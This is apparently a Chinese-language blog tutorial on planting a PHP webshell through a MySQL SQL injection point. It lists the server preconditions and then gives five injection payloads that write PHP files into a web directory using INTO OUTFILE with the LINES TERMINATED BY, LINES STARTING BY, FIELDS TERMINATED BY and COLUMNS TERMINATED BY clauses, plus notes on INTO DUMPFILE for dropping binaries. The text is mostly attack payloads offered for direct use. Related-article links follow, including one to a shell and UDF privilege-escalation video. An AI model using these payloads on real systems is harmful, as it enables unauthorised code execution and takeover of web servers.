MySQL注入点写webshell的五种方式
0x00 写数据的前提
1,在mysql的配置文件 my.ini 中,secure_file_priv="c:/wamp64/tmp" 被注释 或者 `secure_file_priv 配置的位置是web目录。
2,未开启全局gpc。(php5.329之后就没有magic_quotes_gpc)
0x01 union select 写入
最常见的写入方式,union select 后跟 into outfile 语句
注入点语句
?id=1' union select 1,2,'<?php phphinfo();?>'into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\numm222.php'--+
注入结果:
PS: 在windows下,位置的分隔符为 /(斜杠)。
这里into outfile 和 into dumpfile是有区别的
outfile是将导出整张完整的表
dumpfile是输出在一行上
若我们想把一个 可执行2进制 文件用into outfile函数导出
事实上 导出后 就会被破坏
因为into outfile 函数 会 在行末端写入新行 更致命的 是会转义 换行符
这样的话这个2进制可执行 文件 就会被破坏
这时候我们用into dumpfile 就能导出 一个完整能执行的2进制 文件
into dumpfile 函数不对任何列或行进行终止,也不执行任何转义处理
0x02 lines terminated by 写入
注入点语句
?id=1' into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\num.php' lines terminated by '<?php phpinfo() ?>'--+
注入结果:
注入原理:
通过select语句查询的内容写入文件,也就是 1 into outfile 'C:/wamp64/www/work/webshell.php' 这样写的原因,然后利用 lines terminated by 语句拼接webshell的内容。lines terminated by 可以理解为 以每行终止的位置添加 xx 内容。
0x03 lines starting by 写入
注入点语句
?id=1' into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\numm.php' lines starting by '<?php phpinfo() ?>'--+
注入结果:
注入原理:
利用 lines starting by 语句拼接webshell的内容。lines starting by 可以理解为 以每行开始的位置添加 xx 内容。
0x04 fields terminated by 写入
注入点语句
?id=1' into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\numm2.php' fields terminated by '<?php phpinfo() ?>'--+
注入结果:
注入原理:
利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。
0x05 COLUMNS terminated by 写入
注入点语句
?id=1' into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\numm22.php' COLUMNS terminated by '<?php phpinfo() ?>'--+
注入结果:
注入原理:
利用 COLUMNS terminated by 语句拼接webshell的内容。COLUMNS terminated by可以理解为以每个字段的位置添加 xx 内容
MySQL注入点写webshell的五种方式的更多相关文章
- Mysql查看版本号的五种方式介绍
Mysql查看版本号的五种方式介绍 作者: 字体:[增加 减小] 类型:转载 时间:2013-05-03 一.使用命令行模式进入mysql会看到最开始的提示符;二.命令行中使用status可以看到 ...
- [视频]K8飞刀 mysql注入点拿shell & UDF提权教程
[视频]K8飞刀 mysql注入点拿shell & UDF提权教程 链接: https://pan.baidu.com/s/1a7u_uJNF6SReDbfVtAotIw 提取码: ka5m
- [Mysql]查看版本号的五种方式
[Mysql]查看版本号的五种方式 目录(?)[+] 查看版本信息 #1 使用命令行模式进入mysql会看到最开始的提示符 Your MySQL connection id is 3Serve ...
- MySQL查看版本号的五种方式介绍1111111
MySQL查看版本号的五种方式介绍 1 命令行模式登录MySQL [root@localhost ~]# mysql -uroot -p Enter password: Welcome to the ...
- Spring事务配置的五种方式 巨全!不看后悔,一看必懂!
前段时间对Spring的事务配置做了比较深入的研究,在此之间对Spring的事务配置虽说也配置过,但是一直没有一个清楚的认识.通过这次的学习发觉Spring的事务配置只要把思路理清,还是比较好掌握的. ...
- Java中创建(实例化)对象的五种方式
Java中创建(实例化)对象的五种方式1.用new语句创建对象,这是最常见的创建对象的方法. 2.通过工厂方法返回对象,如:String str = String.valueOf(23); 3.运用反 ...
- Javascript判断数据类型的五种方式及其特殊性
Javascript判断数据类型的五种方式及区别 @ 目录 typeof instanceof Object.prototype.toString isArray iisNaN ----------- ...
- 五种方式让你在java中读取properties文件内容不再是难题
一.背景 最近,在项目开发的过程中,遇到需要在properties文件中定义一些自定义的变量,以供java程序动态的读取,修改变量,不再需要修改代码的问题.就借此机会把Spring+SpringMVC ...
- Android_安卓为按钮控件绑定事件的五种方式
一.写在最前面 本次,来介绍一下安卓中为控件--Button绑定事件的五种方式. 二.具体的实现 第一种:直接绑定在Button控件上: 步骤1.在Button控件上设置android:onClick ...
随机推荐
- Apache Log4j2,RASP 防御优势及原理
Apache Log4j2 远程代码执行漏洞已爆发一周,安全厂商提供各类防御方案和检测工具,甲方团队连夜应急. 影响持续至今,网上流传的各种利用和绕过姿势还在层出不穷,影响面持续扩大.所有安全人都开始 ...
- 4、BFS算法套路框架——Go语言版
前情提示:Go语言学习者.本文参考https://labuladong.gitee.io/algo,代码自己参考抒写,若有不妥之处,感谢指正 关于golang算法文章,为了便于下载和整理,都已开源放在 ...
- CF1557B Moamen and k-subarrays 题解
Content 给定一个大小为 \(n\) 的数组.你可以将其分为 \(k\) 个子数组,并按照每个子数组的字典序重新排列这些子数组,再顺次拼接,得到一个新的数组.问是否存在一种划分子数组的方案,使得 ...
- Django的Form表单验证
Form(from django import forms) 简短理解:后端提供了一个类:from django import forms,继承此类定义子类.子类中定义和form表单中提交到name名 ...
- 【九度OJ】题目1178:复数集合 解题报告
[九度OJ]题目1178:复数集合 解题报告 标签(空格分隔): 九度OJ http://ac.jobdu.com/problem.php?pid=1178 题目描述: 一个复数(x+iy)集合,两种 ...
- 【LeetCode】303. Range Sum Query - Immutable 解题报告(Python)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 解题方法 保存累积和 日期 题目地址:https://leetcode. ...
- Mod Tree(hdu2815)
Mod Tree Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others)Total Su ...
- @Transactional 注解实现
@Transactional注解简介 @Transactional是spring中声明式事务管理的注解配置方式,相信这个注解的作用大家都很清楚.@Transactional注解可以帮助我们把事务开启. ...
- wiodows /linux CMD
windows : netstat -ano 查看所有端口使用情况 netstat -ano |findstr "端口号" 查看特定端口号 tasklist |f ...
- 高效位运算 __builtin_系列函数
•int __builtin_ffs (unsigned int x) 返回x的最后一位1的是从后向前第几位,比如7368(1110011001000)返回4. •int __builtin_clz ...